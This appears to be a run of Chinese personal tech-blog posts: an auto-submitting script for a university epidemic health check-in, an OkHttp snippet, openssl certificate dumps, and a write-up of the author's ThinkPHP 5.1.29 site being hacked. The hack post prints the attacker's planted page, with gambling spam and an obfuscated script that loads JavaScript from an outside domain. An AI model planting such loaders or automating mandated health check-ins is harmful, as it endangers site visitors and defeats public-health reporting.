2020年7月

江西省高校校园防疫自动签到PHP程序

Jiangxi-University-Health-Check-in

请注意,学校都是我虚构的,我并不是在 南昌大学 {滑稽}

PHP版本 江西省普通高等学校 校园防疫 健康签到 自动签到程序,项目地址 https://github.com/PrintNow/Jiangxi-University-Health-Check-in

抓包过程

根据老师说的,在 支付宝 -> 江西省终身学习卡 -> 小程序 -> 校园防疫 -> 健康签到 进行签到

然后我就尝试 HttpCanary APP 对支付宝抓包,但是我发现,并不能正常抓包,直接阻断了,只抓到一条关于 alipay.com 域名的
然后小程序提示加载失败

我就想到了支付宝可能对抓包有所屏蔽,网上搜的解决办法就是要装 XposedMagisk
之类的进行解除限制,我手机还没解锁,要解锁还得清除手机所有数据
,嫌弃麻烦就没有再去折腾了

大概 2020-07-26 左右,心血来潮,就去解锁了,输入 TWRP,刷入 Magisk,一气呵成
,根据网上查找的资料,在 Magisk 安装某个模块,就会将用户安装的证书转换为系统证书,
这样就可以愉快的抓包了,但是我照着做了后,并没有用,还是阻断了,支付宝小程序那里提示 加载失败 好像

最后,我在 HttpCanary 设置里发现了说推荐使用 平行空间 进行抓包,我在平行空间将支付宝添加进去,然后使用 HttpCanary平行空间抓包,果不其然,抓到了数据
发现这个签到平台加载的是一个网页,然后我在 Chrome 打开,发现没有任何限制,可以直接打开。

请往下看分析过程

- 阅读剩余部分 -

Android 使用 OkHttp 进行网络请求之 POST json数据

相关代码

只是避免遗忘,然后记录下的,具体还是要自己去搜索
        OkHttpClient okHttpClient = new OkHttpClient();

        //指定媒体类型
        MediaType mediaType = MediaType.parse("application/json");
        RequestBody requestBody = RequestBody.create(mediaType, json);
        Request request = new Request.Builder()
                .url(url)
                .post(requestBody)
                .build();
        okHttpClient.newCall(request).enqueue(new Callback() {
            @Override
            public void onResponse(Call call, Response response) throws IOException {
                SetSuggesRes = response.body().string();

                Log.d("请求成功", SetSuggesRes);

                /**
                 * 在Ui线程更新UI
                 */
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        requestDialog.hide();//隐藏那个加载对话框

                        try {
                            JSONObject resObj = new JSONObject(SetSuggesRes);

                            if (resObj.getString("RESULT").equals("S")) {
                                showNormalDialog("意见反馈", "意见反馈成功!", 1);
                            } else {
                                showNormalDialog("意见反馈", "意见反馈失败,原因:" + resObj.getString("ERRMSG").toString(), 2);
                            }
                        } catch (JSONException e) {
                            e.printStackTrace();
                            showNormalDialog("意见反馈", "意见反馈失败,原因(远程服务器返回内容不符合预期):\n"
                                    + e.getMessage().toString(), 2);
                        }
                    }
                });
            }

            @Override
            public void onFailure(Call call, final IOException e) {
                Log.d("请求失败", e.getMessage().toString());
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        requestDialog.hide();
                        showNormalDialog("意见反馈", "意见反馈失败了,原因:\n" + e.getMessage(), 2);
                    }
                });
            }
        });

Windows/Linux 等使用 openssl 命令查看网站证书

假设我们要查看 nowtime.cc 的证书,其 https 端口为 443

执行命令如下:

openssl s_client -showcerts -connect nowtime.cc:443

运行结果:

自行提取证书了 -----BEGIN CERTIFICATE----- -----END CERTIFICATE-----

首个是根证书

C:\Users\chuwen>openssl s_client -showcerts -connect nowtime.cc:443
CONNECTED(00000188)
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = nowtime.cc
verify return:1
---
Certificate chain
 0 s:CN = nowtime.cc
   i:C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
-----BEGIN CERTIFICATE-----
MIIFWzCCBEOgAwIBAgISBN4DHrdBlbZURCO30zWTHNcqMA0GCSqGSIb3DQEBCwUA
MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD
ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0yMDA2MjcwNTIwNDNaFw0y
MDA5MjUwNTIwNDNaMBUxEzARBgNVBAMTCm5vd3RpbWUuY2MwggEiMA0GCSqGSIb3
DQEBAQUAA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ALIeBcyLos2KIE6HZvkruYolIGdr2vpw57JJ
Uy3vi5BeAAABcvRvcc4AAAQDAEcwRQIgYW1/ISr9EJY7banQGDSs95RDQcNpE2uh
5pQi2jzRPTMCIQDpzJxIk9YmETGfrqkBnhYHszrtnlZ5P2ThSRs3lpOJTjANBgkq
hkiG9w0BAQsFAAOCAQEAMLVoRspbIOTy72LPBshrWGF3P3o5Z85mhRwKeCHd4w6/
XH3gopnKlQ6epNK/DkviXm+S71q3CgJloLze0PKULG9SkuRBA4LJKrP+QU6xMUgh
W9HqjOU6/+CqOtEMsQqVda7jCwUygLLhpcZJVGx3AiEGnivcUYZnlFraJyFXVe5Z
TDZSUAvcqxduWspfec3jKxdEt+CfLf1+Um1+n1Wid1PWHQzw0ycBYCm3DGKFrtDI
LRsaSaUGH7BdbjHJ/A0380xv6Nb86NdAqT273Wpo97IHA/6H4LNV94pe5hawpht8
Qw2m6DohubBYXBf+4AlgJKZFSPxWdHOd66kD0rBOAg==
-----END CERTIFICATE-----
 1 s:C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
   i:O = Digital Signature Trust Co., CN = DST Root CA X3
-----BEGIN CERTIFICATE-----
MIIEkjCCA3qgAwIBAgIQCgFBQgAAAVOFc2oLheynCDANBgkqhkiG9w0BAQsFADA/
MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT
DkRTVCBSb290IENBIFgzMB4XDTE2MDMxNzE2NDA0NloXDTIxMDMxNzE2NDA0Nlow
SjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMT
GkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAnNMM8FrlLke3cl03g7NoYzDq1zUmGSXhvb418XCSL7e4S0EF
q6meNQhY7LEqxGiHC6PjdeTm86dicbp5gWAf15Gan/PQeGdxyGkOl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1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6
KOqkqm57TH2H3eDJAkSnh6/DNFu0Qg==
-----END CERTIFICATE-----
---
Server certificate
subject=CN = nowtime.cc

issuer=C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 3114 bytes and written 392 bytes
Verification error: unable to get local issuer certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 20 (unable to get local issuer certificate)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 4AA5922EF7050399E3A09DCE51155BB98B51EE253019EFB444C62DA6023B3C2F
    Session-ID-ctx:
    Resumption PSK: B9B0D50AEFB17628674208CEB490771BBF8130E89DBA67F9BA9B902BEFA2F45658C35A21589F43239DC2672149F8F300
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 600 (seconds)
    TLS session ticket:
    0000 - e0 1c ce db 80 2b cd b1-11 af 49 73 0b 96 ab cc   .....+....Is....
    0010 - 4e 25 40 e0 ea 0f 87 25-03 e8 80 6c 92 62 c6 6a   N%@....%...l.b.j
    0020 - 1e 56 56 2c 10 e4 ad c8-90 4b 68 4c 4d e0 ac 69   .VV,.....KhLM..i
    0030 - 13 d1 fa aa 8a b4 29 05-50 12 cf d4 3f e6 1e 08   ......).P...?...
    0040 - 69 a3 0c a7 12 47 af 21-a6 e0 85 83 45 d3 c6 c3   i....G.!....E...
    0050 - be 72 19 aa db ec 04 ab-d3 33 0c 1b 92 db 3a 5b   .r.......3....:[
    0060 - 1a 5e c6 ff 61 68 87 fa-e0 00 ce 43 94 b4 5c 64   .^..ah.....C..\d
    0070 - 86 7f 56 88 ee 71 91 0b-b3 41 12 0d ae 77 b4 df   ..V..q...A...w..
    0080 - 61 84 0c 76 bf 12 70 f2-3d b8 b1 48 cd ff e2 7b   a..v..p.=..H...{
    0090 - ac d8 65 f8 61 c7 e7 8e-d3 06 98 35 fd d5 11 95   ..e.a......5....
    00a0 - 91 a2 d8 95 fc b9 5d ed-c2 4b 5d 45 d0 6e 02 99   ......]..K]E.n..
    00b0 - b1 2d a5 86 31 54 06 e1-7c 60 dc 81 01 49 9a 0b   .-..1T..|`...I..
    00c0 - 50 56 87 8d 3b 55 4d 8e-53 db c6 46 59 70 bf d1   PV..;UM.S..FYp..
    00d0 - b6 22 d5 36 71 66 d9 69-5d 91 3d 82 78 f7 3a d1   .".6qf.i].=.x.:.

    Start Time: 1594276699
    Timeout   : 7200 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: C937B1E7244B66542A204A57B63B6EECBEA34922740ACF0E95F8CEE676DAFE80
    Session-ID-ctx:
    Resumption PSK: 44BC6A3EB2CF2FEC82C1C08C58F25601921C3E8558AFA17ECF37B802B9A02E22B3537B267545803903764156A16FABB6
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 600 (seconds)
    TLS session ticket:
    0000 - e0 1c ce db 80 2b cd b1-11 af 49 73 0b 96 ab cc   .....+....Is....
    0010 - 24 07 ff 06 ff 62 e9 3c-fd 31 a1 93 c9 6b 5e 32   $....b.<.1...k^2
    0020 - 9f 77 1f 67 1a 95 44 e6-00 73 8f ac 0f 90 37 6f   .w.g..D..s....7o
    0030 - 6f a1 16 62 50 64 d7 0e-20 1f 5f 75 9f 47 85 98   o..bPd.. ._u.G..
    0040 - 84 d9 7b 7f e3 43 a9 d1-4e 58 4d 58 5f 19 8f fb   ..{..C..NXMX_...
    0050 - 4b d1 41 6b 93 45 27 8b-e0 7d a1 64 9b 2a f4 10   K.Ak.E'..}.d.*..
    0060 - b3 28 96 49 40 6f 88 27-4f b3 21 5a 38 3e c6 3c   .(.I@o.'O.!Z8>.<
    0070 - e8 43 f3 eb 69 e7 da be-c4 9a 64 b4 75 ad 79 69   .C..i.....d.u.yi
    0080 - 14 4e f8 1f cb 38 5f 33-80 18 ea b4 61 a9 ce ae   .N...8_3....a...
    0090 - 2d 43 66 83 dc 81 4c 15-7e d7 d3 8e 43 25 b2 16   -Cf...L.~...C%..
    00a0 - b0 a5 3d a4 1a f6 2b 5c-79 4b 83 46 77 ec 55 d3   ..=...+\yK.Fw.U.
    00b0 - 6b c5 ee 0f 17 46 3a c9-be 90 1f 07 f2 fc e9 2f   k....F:......../
    00c0 - 67 a5 de d8 ba 1f 6e 75-bb 74 42 b9 35 48 49 98   g.....nu.tB.5HI.
    00d0 - 85 25 b9 52 a5 05 e6 7e-e6 b2 5e 20 6e f9 38 35   .%.R...~..^ n.85

    Start Time: 1594276699
    Timeout   : 7200 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK

假设我们要查看 authme.wechall.net 的证书,其 https 端口为 443

执行命令如下:

openssl s_client -showcerts -connect authme.wechall.net:443

运行结果:

C:\Users\chuwen>openssl s_client -showcerts -connect authme.wechall.net:443
CONNECTED(00000180)
depth=1 C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
verify error:num=19:self signed certificate in certificate chain
verify return:1
depth=1 C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
verify return:1
depth=0 C = DE, ST = LowerSaxony, L = Frankfurt, O = WeChall, OU = development, CN = authme.wechall.net, emailAddress = gizmore@wechall.net
verify return:1
13132:error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure:ssl\record\rec_layer_s3.c:1536:SSL alert number 40
---
Certificate chain
 0 s:C = DE, ST = LowerSaxony, L = Frankfurt, O = WeChall, OU = development, CN = authme.wechall.net, emailAddress = gizmore@wechall.net
   i:C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
-----BEGIN CERTIFICATE-----
MIIELjCCA5cCCQDHMTcVkx1X2jANBgkqhkiG9w0BAQUFADCBkTELMAkGA1UEBhMC
REUxFDASBgNVBAgTC0xvd2VyU2F4b255MQ4wDAYDVQQHEwVQZWluZTEQMA4GA1UE
ChMHV2VDaGFsbDEUMBIGA1UECxMLZGV2ZWxvcG1lbnQxEDAOBgNVBAMTB2dpem1v
cmUxIjAgBgkqhkiG9w0BCQEWE2dpem1vcmVAd2VjaGFsbC5uZXQwHhcNMTQwNzI5
MDk0NjUzWhcNMjQwNzMxMDk0NjUzWjCBoDELMAkGA1UEBhMCREUxFDASBgNVBAgT
C0xvd2VyU2F4b255MRIwEAYDVQQHEwlGcmFua2Z1cnQxEDAOBgNVBAoTB1dlQ2hh
bGwxFDASBgNVBAsTC2RldmVsb3BtZW50MRswGQYDVQQDExJhdXRobWUud2VjaGFs
bC5uZXQxIjAgBgkqhkiG9w0BCQEWE2dpem1vcmVAd2VjaGFsbC5uZXQwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDfO6q9GnmHp3zsG+s2HJ/TJc3d5BhL
0UV+6PzfZSY5MFEg76wHPTsrasdn8z8uWQeMWprL3h4EWOlXW3YG9UOLjdvxkxL1
5vLJrxYdCu6jQ+KvoJtRzFXUDZcKjpDfnibgrUc18HW35FF5i2FkTpRFVP0p6INu
m8FsyHfN3NfytDBAZLNqBIDtNvXdZQKRDiJp/90x2Bgj0/TiiO6TzmX0f7Vt5ogb
ft6OhwsQm1HRzA1st1dpi0rTHM5bYw+ulldkY7ILrpES3sSukCBe1dVYxgzXM5xo
09iyPZkXzh+4h+J9Lt4rJlWWvlZJ6qoaC/bWrQE7U0JB9B/GFykguewaIt5QUMEx
njAyTEFzief4209mnCpysoq/yRyRygEMrAGW0jzhmyNWkrvvOiaygT2jICywBMbn
/wn8hQgxwDj5903xUdqtlLjgItcKMQNW3FvurjvDvuS/Vo5X+cQPZFluj28azRZ8
AUKwGuDCp4OiinJRukokC+kY+qLLSbxR9NhVq0Vi6+T/xHKazOwCCZ0w9T7eCldF
OV7Yd85S8FtI0CvD5egs04OfCdnAMW2DK+JGTcSLmdbPGTddk4je9Oqi6QnVi2Yv
hNBaupEOAknl6Yo+bQEXaMwi1sS3uhpmrIxu5p8jdtb4qCkxRcl9dJcUSn/HWK7/
YrgbgPMYMjfA5wIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAKiXqEGzNnPq0MxqQLcq
TxOF7H83MIXbHCIM4tJliYRm5wIs/Xg9koBT0Oi2PVXud3a/oOH0NBJTYF8bD0v0
s90fY8496QJs9BSVbTu4QWNZyvFpefBaO1fb0xeGlXFR8GHbUZ73rGLHE9qbZGrX
N7OyHBB6X0gXZ8lZ8nS49k3o
-----END CERTIFICATE-----
 1 s:C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
   i:C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
-----BEGIN CERTIFICATE-----
MIIDnDCCAwWgAwIBAgIJAMQYS3CTzcElMA0GCSqGSIb3DQEBBQUAMIGRMQswCQYD
VQQGEwJERTEUMBIGA1UECBMLTG93ZXJTYXhvbnkxDjAMBgNVBAcTBVBlaW5lMRAw
DgYDVQQKEwdXZUNoYWxsMRQwEgYDVQQLEwtkZXZlbG9wbWVudDEQMA4GA1UEAxMH
Z2l6bW9yZTEiMCAGCSqGSIb3DQEJARYTZ2l6bW9yZUB3ZWNoYWxsLm5ldDAeFw0x
NDA3MjkwOTA3MTRaFw0yNDA3MzEwOTA3MTRaMIGRMQswCQYDVQQGEwJERTEUMBIG
A1UECBMLTG93ZXJTYXhvbnkxDjAMBgNVBAcTBVBlaW5lMRAwDgYDVQQKEwdXZUNo
YWxsMRQwEgYDVQQLEwtkZXZlbG9wbWVudDEQMA4GA1UEAxMHZ2l6bW9yZTEiMCAG
CSqGSIb3DQEJARYTZ2l6bW9yZUB3ZWNoYWxsLm5ldDCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAvdoWtpmxsCyhl8BFeZVqVk0JmVrkfls/uQVjzGiZ/9gV8G9A
REhNpQSWIBNdC52qv9xDVJmgGLAJhDL0Qhh7ia4F9W3Gt9ZOjGs4zT7ZkJwdr9r/
1N+7kwt1bd5pUEEiNHrqWppK9nh4DWueoOl/kGpOXRODkrR9lAdWnD+y4Z0CAwEA
AaOB+TCB9jAdBgNVHQ4EFgQUNGqLUeVuzA8iVTd94saA6ALAWMIwgcYGA1UdIwSB
vjCBu4AUNGqLUeVuzA8iVTd94saA6ALAWMKhgZekgZQwgZExCzAJBgNVBAYTAkRF
MRQwEgYDVQQIEwtMb3dlclNheG9ueTEOMAwGA1UEBxMFUGVpbmUxEDAOBgNVBAoT
B1dlQ2hhbGwxFDASBgNVBAsTC2RldmVsb3BtZW50MRAwDgYDVQQDEwdnaXptb3Jl
MSIwIAYJKoZIhvcNAQkBFhNnaXptb3JlQHdlY2hhbGwubmV0ggkAxBhLcJPNwSUw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOBgQCLt0cRKdertOduwl/jfwlT
2eadw5dBtCryDO9d5PTWTkJl89MyYmQszj4Kx7NC2Yc3JklLI2q+XSgTdzn7VJ1W
HM4sC8XboLQttzBkI160Jgl/dYNcjX22vH2h4W8bGlAnq3MCMrjZnFhgWQTosJWh
qovBkUnH+FVo7S9eW+60hg==
-----END CERTIFICATE-----
---
Server certificate
subject=C = DE, ST = LowerSaxony, L = Frankfurt, O = WeChall, OU = development, CN = authme.wechall.net, emailAddress = gizmore@wechall.net

issuer=C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net

---
Acceptable client certificate CA names
C = DE, ST = LowerSaxony, L = Brunswick, O = CSTx, OU = development, CN = authme.wechall.net, emailAddress = christian@wechall.net
C = DE, ST = LowerSaxony, L = Peine, O = WeChall, OU = development, CN = gizmore, emailAddress = gizmore@wechall.net
Client Certificate Types: RSA sign, DSA sign, ECDSA sign
Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224:RSA+SHA1:DSA+SHA1:ECDSA+SHA1
Shared Requested Signature Algorithms: RSA+SHA512:DSA+SHA512:ECDSA+SHA512:RSA+SHA384:DSA+SHA384:ECDSA+SHA384:RSA+SHA256:DSA+SHA256:ECDSA+SHA256:RSA+SHA224:DSA+SHA224:ECDSA+SHA224:RSA+SHA1:DSA+SHA1:ECDSA+SHA1
Peer signing digest: SHA256
Peer signature type: RSA
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 3056 bytes and written 458 bytes
Verification error: self signed certificate in certificate chain
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID:
    Session-ID-ctx:
    Master-Key: 1633D25BB4F817A340857CAF0C283284468941EF791EFDAF62E7F79FFE9C49C1727C5B78DF0DAC36A5C4BAD62CC6FDBB
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1594276479
    Timeout   : 7200 (sec)
    Verify return code: 19 (self signed certificate in certificate chain)
    Extended master secret: no
---

记一次使用 ThinkPHP 5 框架被挂马

前言

全怪自己没有跟进更新 ThinkPHP 版本,导致被挂马,用的版本是 ThinkPHP V5.1.29 LTS

我是怎么发现的

也是听别人提起我这个网站,我才知道我还有这个网站,然后习惯的登录下看看,结果发现只有首页能打开,其它都 404,我还以为网站配置问题,我又删除了重新建立站点,发现还是一样

直到我看了下 public/ 目录
Snipaste_2020-07-09_13-19-22.png

我才发现 index.php 文件被删了,只留下 index.html 文件,其文件部分内容是:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>&#30343;&#20896;&#66;&#69;&#84;&#51;&#54;&#57;&#44;&#30343;&#20896;&#98;&#101;&#116;&#23433;&#21331;&#29256;&#19979;&#36733;&#44;&#30343;&#20896;&#98;&#101;&#116;&#25163;&#26426;&#29256;&#19979;&#36733;</title>
<meta name="keywords" content="&#98;&#101;&#116;&#30343;&#20896;&#23448;&#32593;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;"/>
<meta name="description" content="&#98;&#101;&#116;&#30343;&#20896;&#23448;&#32593;&#12304;&#119;&#119;&#119;&#46;&#51;&#50;&#52;&#52;&#48;&#52;&#46;&#99;&#111;&#109;&#12305;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#23448;&#32593;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#19979;&#36733;&#44;&#30343;&#20896;&#30495;&#20154;&#24179;&#21488;&#44;&#30343;&#20896;&#30331;&#38470;&#27880;&#20876;&#44;&#98;&#101;&#116;&#30343;&#20896;&#20307;&#32946;&#23448;&#32593;&#19968;&#30452;&#33268;&#21147;&#20110;&#23089;&#20048;&#20107;&#19994;&#30340;&#21457;&#23637;&#12290;"/>
<meta property="og:image" content="https://*.nowtime.cc/logo.png"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="****1班"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,101,102,104,102,117,104,49,46,99,111,109,47,51,54,53,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

我还以为是自己写的某个后台没有鉴权,导致上传文件出现漏洞

然后我又网上查了下 ThinkPHP 5 漏洞,然后就找到了这篇文章:ThinkPHP5.x漏洞复现

自己试了试,真能执行任意函数

ThinkPHP V5.1.29 LTS 执行任意函数

看到这我就知道了,是 ThinkPHP 的漏洞,也怪自己不及时更新框架,这个框架从18年11月,使用 Composer 安装后,我就没有更新过了,一年半过去了我才知道...

怎么解决

执行 composer update topthink/framework 更新
执行 composer update topthink/framework 更新

然后问题就解决了
然后问题就解决了